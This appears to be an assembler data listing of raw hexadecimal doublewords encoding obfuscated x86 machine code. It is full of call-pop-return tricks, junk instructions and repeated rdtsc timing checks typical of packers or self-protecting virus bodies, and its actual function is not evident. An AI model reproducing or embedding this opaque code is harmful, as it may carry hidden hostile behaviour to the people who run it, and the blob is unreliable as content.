		dd 107h, 0B0DEB70Fh, 0D8BB6600h, 8170E6C4h, 0B3999BD3h
		dd 8971E44Bh, 13177D95h, 0F613C06h, 0E683h, 70BF6600h
		dd 0C8B60FC0h, 15218D89h, 6BA0613h, 0F000000h, 684h, 75BD8B00h
		dd 8B06130Eh, 0DE9C1h, 0D7EC0000h, 49445B9Dh, 0BF5FF71Ah
		dd 0C1123CF1h, 8B6604E8h, 0E2F766F8h, 0C1D78166h, 8AC82BFBh
		dd 0E9D18BDAh, 5, 24E36291h, 91E9CDh, 8B660000h, 359D03FEh
		dd 8B06131Fh, 885h, 50D78100h, 831668B2h, 9D8907C0h, 61305B1h
		dd 8B00C083h, 131541BDh, 8DBD8B06h, 3B061312h, 13830FD0h
		dd 81000000h, 3D0173C3h, 51E95Fh, 8B510000h, 130DD9BDh
		dd 8D8B5B06h, 0FFFFFFFFh, 83F9B70Fh, 840F01E1h,	37h, 0FE9h
		dd 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0FFFFA583h
		dd 0F8FEFFFFh, 89589h, 0BE90000h, 4000000h, 0A2F76793h
		dd 59E36D41h, 0E9D305h,	8D000000h, 174079B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 4D246358h, 558560FCh, 6AED16h, 24358589h, 95FF0613h
		dd 6130DA9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	3EC35242h, 0D21B589h, 0C3B90613h, 5600000Fh, 5F8BD780h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 5C90C356h, 5370A497h, 9D8BFBBAh
		dd 6130D3Dh, 8D8B60FCh,	6131F6Dh, 0D036D181h, 0B8612F08h
		dd 0
		dd 12E851h, 0ED290000h,	3DBD6AECh, 917793D4h, 4055B70Fh
		dd 821B3A29h, 1B59D89h,	5F5B0613h, 8A0FD22Bh, 6, 1D319D89h
		dd 33AD0613h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0AF816DC3h
		dd 2DB7BF18h, 880D36FBh, 0BB000000h, 7DB4CAE6h,	1BBD958Bh
		dd 9D230613h, 6130DBDh,	12399529h, 8D8B0613h, 61318DDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CFC35242h
		dd 0C1E1A0E7h, 91D740C3h, 0C28B50EFh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0EBFFC350h,	3109BD89h
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 273911C3h, 684C1124h, 899D8BB6h, 83061305h
		dd 131D1DBDh, 840F0006h, 62h, 0E8FE8B66h, 12h, 618B024Bh
		dd 0A0F77568h, 760E8BD1h, 0A056996Bh, 0DF8BC6C6h, 0B85Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9589B7C3h, 613350Dh, 4F8D8D8Dh, 9D330613h
		dd 61321FDh, 9E8E1FFh, 0FD000000h, 1FB789D0h, 97299787h
		dd 0BD835FF5h, 6133055h, 0D3840F00h, 0E8000003h, 0Dh, 0AB94660Bh
		dd 78596C3Ch, 908F9DA3h, 0F9B70F20h, 55BD835Bh,	1061330h
		dd 3CB840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 9F54E3C3h, 83F599ABh, 133055BDh
		dd 860F0306h, 367h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 1EC35646h, 0F4D1F33Bh, 3360DD5Bh, 133489BDh
		dd 0D98C6606h, 0F099D8Bh, 0E1800613h, 259D8904h, 0A06130Dh
		dd 9840FC9h, 0B7000001h, 0DB79BB45h, 858B3739h,	6132BB9h
		dd 60D78166h, 0B9853388h, 6A061305h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4624C351h
		dd 541493A3h, 17CBBB9Eh, 66501CA1h, 489FB8Bh, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 373901F1h, 6AD98BFEh, 7DBF6600h, 4E873h, 3FF0000h, 8B66001Fh
		dd 0C3BF50DEh, 8B764109h, 8B042444h, 0A0D0BF00h, 448932C6h
		dd 52500424h, 10E951h, 2E090000h, 575F5FD7h, 0B5C27EC8h
		dd 285D7AC2h, 0F5B4006h, 58585A31h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 55C35646h, 351CF66Bh, 6660C4AAh
		dd 0B8476BAh, 13323DB5h, 95FF6106h, 6130A3Dh, 0C4548589h
		dd 0BD8B0616h, 613352Dh, 1B9E9h, 0BE800h, 0C8CF0000h, 8E2FBEC6h
		dd 113DE840h, 0ED9D8BCBh, 5B061305h, 0C44C858Bh, 0B70F0616h
		dd 1800C7DEh, 8B000000h, 130B61BDh, 50B58B06h, 6A0616C4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0CED9C356h, 4E366322h, 90DB892h, 13220D8Dh
		dd 55858B06h, 8B06132Ah, 130C699Dh, 8B068906h, 0B9858BD8h
		dd 8906132Bh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B75839C3h, 402F90A4h, 60525096h
		dd 310F5250h, 0CE9585Ah, 41000000h, 815138C8h, 839B0BABh
		dd 61FA0D45h, 4AB7310Fh, 9650585Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 8DC35242h, 71BA815Eh, 8166A2E7h
		dd 0FF72F6C3h, 16C44CB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 3B687724h
		dd 14158D89h, 1E680613h, 50DE79DCh, 0FDA8B52h, 8B0F31h
		dd 5A000000h, 24048158h, 21A527E1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 96C35343h, 89BD3345h, 66061316h
		dd 8DEFFBBFh, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0CEA1FEBBh, 5D8F80FAh
		dd 3DE7BF6Bh, 820F4277h, 0Ch, 7E9h, 1242AB00h, 4EDE12B5h
		dd 148B0F90h, 0E9000000h, 0Fh, 0C53246D5h, 2708D48h, 48F4D072h
		dd 50FBDCA2h, 95FFF590h, 6130A3Dh, 1071BD8Bh, 6A610613h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0DC96C351h, 5585C7AFh, 3061330h, 0E9000000h
		dd 12h,	0D3FF49E3h, 3C68768h, 0F2171111h, 0B58C5342h, 0BD83406Ch
		dd 616C454h, 2C840F00h,	89000000h, 13320595h, 3CE906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8015EEC3h, 50F5C2DFh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 6130151h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 5012FF82h
		dd 0D1C7BFE5h, 0BD83060Eh, 6133055h, 0B8850F03h, 8B000003h
		dd 54BD83F8h, 616C4h, 3A9840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1D2B0C3h
		dd 0CEE3EC94h, 0B5894CC4h, 6130D65h, 0C454B5FFh, 6A0616h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FB7166C3h, 0B1F5D3BAh, 95FFC431h, 6130969h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C2C35242h, 0FFE1F18h
		dd 685h, 0FEDF8100h, 8B7F0C76h,	16C448B5h, 0AAF38006h
		dd 106C7h, 8D090001h, 61306D9h,	73CF8166h, 12E99601h, 46000000h
		dd 59EA838Ah, 93154BDEh, 0D982CBA6h, 0AB90A0F0h, 0CE85048h
		dd 7F000000h, 75043090h, 1FE1D66Bh, 50595F01h, 0F616052h
		dd 5ADA8B31h, 0F965B58h, 0BD89FFBFh, 6131FD1h, 0C454B5FFh
		dd 8F0F0616h, 6, 890Fh,	0E1B70000h, 322995FFh, 0E0BF0613h
		dd 8B341410h, 16C448B5h, 31858B06h, 66061306h, 8689F98Bh
		dd 0C4h, 958BF88Bh, 6131BBDh, 0F93870BFh, 4C28364h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B0C35343h, 6D9D034Dh
		dd 0F061322h, 5089DBBFh, 858DFC20h, 616D8E3h, 0B88689h
		dd 8E0F0000h, 1Eh, 12E8h, 0FF49E300h, 0C68768D3h, 17111103h
		dd 8C5342F2h, 9406CB5h,	131CF595h, 6A5B06h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0F7B1A3ECh
		dd 0AE96BBCh, 18000000h, 0E7820138h, 0DB99C63Dh, 54B5FFF1h
		dd 6A0616C4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0BC4CC357h, 0F9B2446Eh, 95FF0A14h
		dd 6131E95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0DC35040h, 52821A32h, 4D85015Dh, 50061306h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 42C352h, 9FBDCB81h, 0B5FF2543h
		dd 616C454h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0BFC35040h, 0B5A9B294h,	0A3BB7967h, 0FF7C5735h
		dd 13214595h, 0D5B58906h, 8306131Ch, 131495BDh,	840F0006h
		dd 13h,	37EDC7BBh, 8B66967Bh, 519650F9h, 1785BD8Bh, 0FF5F0613h
		dd 16C454B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 51D9B302h, 21F5BD8Bh, 0FF5B0613h
		dd 1305AD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E8D94156h, 11h, 0FDF5A719h, 4F628587h
		dd 0C06C3596h, 0A223BDE8h, 0FF5FF935h, 16C454B5h, 0F2D78106h
		dd 0FF48C42Eh, 13120995h, 0BD83F906h, 6130511h,	58840F02h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 235BC355h, 858BFCE0h, 6130F55h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BC35646h
		dd 84BCC2AFh, 8D8B6073h, 6132A05h, 0C661F5h, 59D8B00h
		dd 0C706132Ah, 131E5185h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2F3949C5h
		dd 0D585E093h, 0D781B027h, 13F44D92h, 0AE9h, 4AF1C500h
		dd 688C385Dh, 0E9D8E3F6h, 0FFFFF4B5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 30C35242h, 6AC18Bh,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 662B4CC3h, 0BCB8B60h, 1314819Dh, 858D6106h, 6131EA9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0AEC35040h
		dd 8B662EF5h, 0BF6690F9h, 90509A1Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 8BC35545h, 0B810Fh,	880F0000h
		dd 5, 0A58EABBh, 6A006A39h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 89F8FAD6h
		dd 131CD98Dh, 1E858D06h, 6A0617D2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4E89C356h
		dd 0DE8h, 755C4E00h, 9FF36953h,	1FE78470h, 8D89CAF7h, 6132955h
		dd 5C0835Bh, 0E850BFB7h, 12h, 0E6BB443Dh, 90628C4Ah, 630227Dh
		dd 65021598h, 8B66D1E3h, 4895FF9h, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8BA9896Ah
		dd 131959BDh, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0E2DCC350h,	3446AF8Fh
		dd 6AB16Ch, 6AF88Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0CC35646h, 159D8943h,	0FF06132Ch, 1307F195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0F955CEEh, 6661D6EBh, 8D8DF98Bh,	616A36Ah
		dd 0D1FF5F52h, 0F21BD8Bh, 0BD830613h, 613173Dh,	61850F01h
		dd 0F000000h, 26AD8B7h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 26C35040h, 0C2CB6678h, 9D89EEC0h, 61305BDh
		dd 50FE8B90h, 8A90DA8Bh, 9595FFD9h, 6A06131Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0F9ECC350h, 7C6157FEh, 0DE8B6645h, 0DFEE9h, 0E800h
		dd 815D0000h, 17D228EDh, 9E906h, 2FD30000h, 0CCD6CC0Dh
		dd 6AA553F1h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0EC9CC350h, 57DD1B8Bh,	1D1BD2Bh
		dd 8B5F0613h, 1316219Dh, 5E858D06h, 8B06168Fh, 131361BDh
		dd 0CE85006h, 0C3000000h, 0B0850DDEh, 0A5CC6A15h, 60396BD6h
		dd 0CE9h, 8FCB4900h, 22F12DFEh,	1A7ED09Ch, 0BBBA6606h
		dd 895F6117h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 34338DC3h, 0FA8B60FBh, 1E0D8D8Bh
		dd 66610613h, 64BF91BBh, 35FFh,	880F0000h, 3, 64DFB70Fh
		dd 2589h, 0BD890000h, 6130E35h,	16D985FFh, 6A0613h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 9A19C9C3h, 0F4E3B2D6h, 9D8BAA9Dh, 6130D65h, 27840Fh
		dd 0EE80000h, 91000000h, 0F2FBE9F9h, 0B30BA3BEh, 0EF6CCAC8h
		dd 0EE9F2h, 0D670000h, 2B9E3E14h, 0E7650E18h, 0C1620F16h
		dd 6AFF6A5Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 5C92C353h, 0F2B8E199h,	0C18589EDh
		dd 0FF06132Eh, 130ED5B5h, 69BD8906h, 0FF061324h, 1331AD95h
		dd 136E906h, 0E9600000h, 10h, 328B05C1h, 37F00658h, 8007207Fh
		dd 784BC352h, 10E9h, 28970000h,	3453160h, 0A20F569Eh, 0F1193EE9h
		dd 0B06176h, 8970E6FCh,	1323E9BDh, 971E406h, 1308CD95h
		dd 0F613C06h, 0EF83h, 0E18D0100h, 0F06130Bh, 850FC8B6h
		dd 5, 0FBF7D7BFh, 6BA1Eh, 0B5890000h, 6130F21h,	0E8C1C18Bh
		dd 59B58904h, 6606130Dh, 0BB66E2F7h, 0C82B36ECh, 3ED78166h
		dd 60D18B1Ch, 0ADF68160h, 6124FFCAh, 0A6E961h, 0BE90000h
		dd 67000000h, 2F85F280h, 504066AFh, 858B0723h, 1, 0B5BD8B56h
		dd 5B061305h, 8B07C083h, 132EB1BDh, 0C08306h, 810Fh, 0D03B0000h
		dd 1C830Fh, 0CE90000h, 89000000h, 1F4286ECh, 0F0A010B8h
		dd 0E9257CC1h, 58h, 20559D8Bh, 8D8B0613h, 0FFFFFFFFh, 2FC58D29h
		dd 0BD090613h, 61330B1h, 0F01E183h, 3784h, 0DBD8B00h, 0F061332h
		dd 28Dh, 83DAB300h, 0FFFFFFA5h,	0BD8BFEFFh, 6132BD1h, 19589h
		dd 0CE90000h, 44000000h, 8BAD1615h, 0ED5E811Ah,	0E9261D9Bh
		dd 0
		dd 503CB58Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0DC483EC3h, 0C7816199h, 3B1AE88h
		dd 31B5BD8Bh, 6A0613h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0A4C35747h, 0BB66E185h, 95FF6D0Bh, 6130DA9h
		dd 42228CBBh, 0B910B70Ah, 0F70h, 1ECD9589h, 0E1830613h
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 6C4B8B3h, 624131A4h, 81FC2333h, 0B29295F3h
		dd 6AC02B14h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 556CC350h, 81234A37h, 0F91BC85h
		dd 688h, 59958900h, 0BB061324h,	12F0D860h, 13E9D22Bh, 3E000000h
		dd 0B6FD8AC0h, 3CBF3487h, 667D6CA0h, 4713B226h,	33AD58E2h
		dd 3E8D1C2h, 4E983D0h, 0E781F475h, 2805280Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4C35545h, 864532C6h
		dd 89B535C9h, 132C5185h, 880D06h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0CF7F2CC3h
		dd 0E65F68FBh, 810FCFE6h, 6, 0C5D9D33h,	958B0613h, 6131BBDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0EFC35545h
		dd 8BFFBF0Fh, 1318DD8Dh, 0FFBF0F06h, 5BDA8B53h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0DFBF5818h, 0E8790521h
		dd 9, 0FB7F927h, 7DEEA9FDh, 0FDBD8BE0h,	5F061314h, 1D1DBD83h
		dd 0F000613h, 6484h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 293AE779h, 664755BCh
		dd 58DFCB81h, 18F5B501h, 0B80613h, 66000000h, 8D8DFB8Bh
		dd 6134F8Dh, 2826BB66h,	6AE1FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 233516C3h, 1319D59Dh
		dd 55BD8306h, 61330h, 49D840Fh,	81660000h, 836119E3h, 133055BDh
		dd 840F0106h, 4A6h, 83F8BF0Fh, 133055BDh, 860F0306h, 460h
		dd 295DBD29h, 6A600613h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 4AAEC357h, 0EA3A5E44h
		dd 0BD8BB42Ah, 6130611h, 6AD98C66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 893AC351h
		dd 1320B1BDh, 4E18006h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 16C35646h, 9D75EE11h,	8B70E121h, 131F859Dh
		dd 0FC90A06h, 18884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0A18D8970h, 8B061320h
		dd 132BB985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 950D6E77h, 330816F6h, 1305B985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0F1A4C69Eh, 0FC0BB3BFh, 8E84Eh, 0C9D40000h
		dd 0FE0D81DBh, 890F0903h, 2, 505B5B57h,	6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 883DC352h, 0C9267F0Dh, 6535F915h, 0E9DE8B66h, 14h, 0BE804340h
		dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 894317C3h, 58684E70h, 60540D63h, 0EE8h, 19686500h, 0A3EE8EBh
		dd 266915Ch, 5BB3A9D8h,	0CE8h, 26596200h, 72D2F3h, 8819F784h
		dd 0CB8B6649h, 3481615Bh, 1260A724h, 10E954h, 2C930000h
		dd 1ABDC99Eh, 3CE3FA83h, 0CDF19EE4h, 95FF4EB8h,	6130A3Dh
		dd 1FF9B589h, 0DA8B0613h, 0C4548589h, 6A0616h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0E9F9B6C3h, 1C4h, 9E8h, 1B6C9600h, 0E7D104CCh, 0BD0BF642h
		dd 6130BADh, 4C858B5Fh,	0F0616C4h, 384h, 0DF8B6600h, 8D0Fh
		dd 0C70000h, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0D1C35747h, 8BA998AAh, 16C450B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 589F8B50h, 55858B6Dh, 0BF06132Ah, 6BFB3ED6h,	10E90689h
		dd 2F000000h, 19834F15h, 4CB2490Ch, 8C6F9DC3h, 0FFC3691h
		dd 680h, 0DDBD8B00h, 8B061314h,	132BB985h, 80F88B06h, 46895AE3h
		dd 0DA8B6604h, 2890F50h, 0B7000000h, 243489D7h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 92C35141h, 0AEE09630h
		dd 8166EEFFh, 818A98DFh, 0BB8FC2EFh, 4CB5FF6Ch,	90616C4h
		dd 13140195h, 4E806h, 3FF0000h,	0BF66001Fh, 8B507ADEh
		dd 24448BFBh, 850F04h, 8B000000h, 0D98B6600h, 4244489h
		dd 8058FA8Bh, 858D38DFh, 616C454h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0AFC35141h,	6E8h, 7E25EE00h
		dd 578CC815h, 14E8h, 0CC890700h, 4FD79E92h, 0A56DDB35h
		dd 504DB0EDh, 0F483FCB6h, 5F5F5BFDh, 24048950h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h, 0FF46E21Dh
		dd 130A3D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0F90F93CCh, 0FC3BC8Fh, 18Bh, 9D8BFC00h
		dd 6130B05h, 53006A61h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 495DF507h, 0ED17BB66h, 85C76BB3h
		dd 6133055h, 3,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0A0C35040h, 1F9D9D8Bh, 0BD830613h, 616C454h, 41840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E9A4C350h, 3Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0C5C35545h, 0F6D0BF66h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0D7CEC352h, 14E87Fh, 5E600000h, 9BCC203Eh
		dd 8595C52h, 1ED1BD76h,	0A6A51C86h, 0DE92625h, 12000000h
		dd 0E3FEEDD3h, 39752260h, 0B7EA383h, 0BD83FC5Bh, 6133055h
		dd 0D5850F03h, 6A000003h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 17F8C355h, 49513003h
		dd 78900CDh, 343C58BFh,	54BD835Ah, 616C4h, 39E840Fh, 0C3800000h
		dd 81958982h, 0FF061310h, 16C454B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 3838A95Fh
		dd 40540A1h, 8BFCF9A8h,	1313359Dh, 6995FF06h, 66061309h
		dd 8B067CBBh, 16C448B5h, 0C256BF06h, 6C76143h, 10001h
		dd 5050F88Bh, 8B665252h, 310F5BDAh
		dd 12E8h, 225E3C00h, 6AC66C53h,	1E6446DFh, 352F2BA3h, 669DE03Bh
		dd 5A5BDE8Bh, 24348958h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 8FC35242h, 2BA876CDh,	0C454B5FFh, 6A0616h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 95FFBAC3h, 6133229h,	20859D03h, 0B58B0613h, 616C448h
		dd 14E8h, 0D5EFE500h, 5D474479h, 6F792E93h, 19C2BAA8h
		dd 0E6FCEB6Dh, 959D89B5h, 5B061329h, 5E9h, 5CED9900h, 858B5BC2h
		dd 6130631h, 29E58D09h,	86890613h, 0C4h, 2965B589h, 958B0613h
		dd 6131BBDh, 6FF38166h,	4C28376h, 89F88B66h, 6A2050h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 5F70E0C3h, 14F59529h, 0BE80613h, 91000000h, 437AD038h
		dd 392AA182h, 8B668C8Ah, 858D5BFBh, 616D8E3h, 2129BD89h
		dd 85310613h, 6131F41h,	0B88689h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 52F287C3h
		dd 0BEE167EDh, 2FDDBD8Bh, 0D88B0613h, 0C062BB66h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0D5E69CC3h, 95D43F3Ah, 0B91BD8Bh, 0FFF90613h, 16C454B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 6D8F10EDh, 7E8DB11h, 0AC000000h,	8A8435BEh
		dd 0BD8B16E9h, 61304C9h, 9E85Fh, 38AC0000h, 9882D825h
		dd 8B1F5811h, 132B1D9Dh, 95FF5B06h, 6131E95h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h, 18E28784h
		dd 0DBB70F3Fh, 34959D2Bh, 66500613h, 89EBA5BFh,	6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1C33D5C3h, 159938C0h, 54B5FF09h, 8B0616C4h, 132175BDh
		dd 4595FF06h, 0F061321h, 0BD83FABFh, 6131495h, 58840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0FFBEC356h, 56D24F7Eh,	7E850EBh
		dd 18000000h, 5D5FE58Fh, 5F56C6FBh, 2434895Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8BC35545h, 7B1AC5F4h
		dd 0FF0408C7h, 16C454B5h, 95FFF906h, 61305ADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2EC35141h, 0B5FFD88Bh
		dd 616C454h, 95FFDE8Bh,	6131209h, 511BD83h, 0F020613h
		dd 3284h, 0DEBF0F00h, 0F55858Bh, 0B7530613h, 0C65B04h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 2CBA0A64h, 0C734DDD7h, 131E5185h, 6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 64B51432h, 0FB6F0287h, 0FFF348E9h, 0C98D09FFh, 8B06132Fh
		dd 8D8B60C1h, 61306BDh,	2800Fh,	61600000h, 29BD0961h, 8D06130Eh
		dd 131EA985h, 0CE806h, 0B3CF0000h, 0A63F3CCCh, 407E56FFh
		dd 905FA2F8h, 0BB665250h, 310FCF39h, 90BB6652h,	585A5B2Ah
		dd 0FE85250h, 0F7000000h, 39F5CB3Fh, 1F36F203h,	2A94970Ch
		dd 6E9ABBEh, 71000000h,	3344F57Ch, 905B5FDDh, 6AFA8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 44C35040h
		dd 0B50B4DCDh, 912BD91h, 130DFD85h, 12E806h, 0A0360000h
		dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 27C57BD0h,	1DB99589h
		dd 6A5F0613h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0F27852BFh, 66072FADh, 9ED99BFh
		dd 130F01BDh, 8D7FB706h, 17E29B85h, 359D8B06h, 83061323h
		dd 11E905C0h, 0E3000000h, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h
		dd 7DD362A1h, 60525090h, 0B1D18B66h, 310F61F2h,	10860Fh
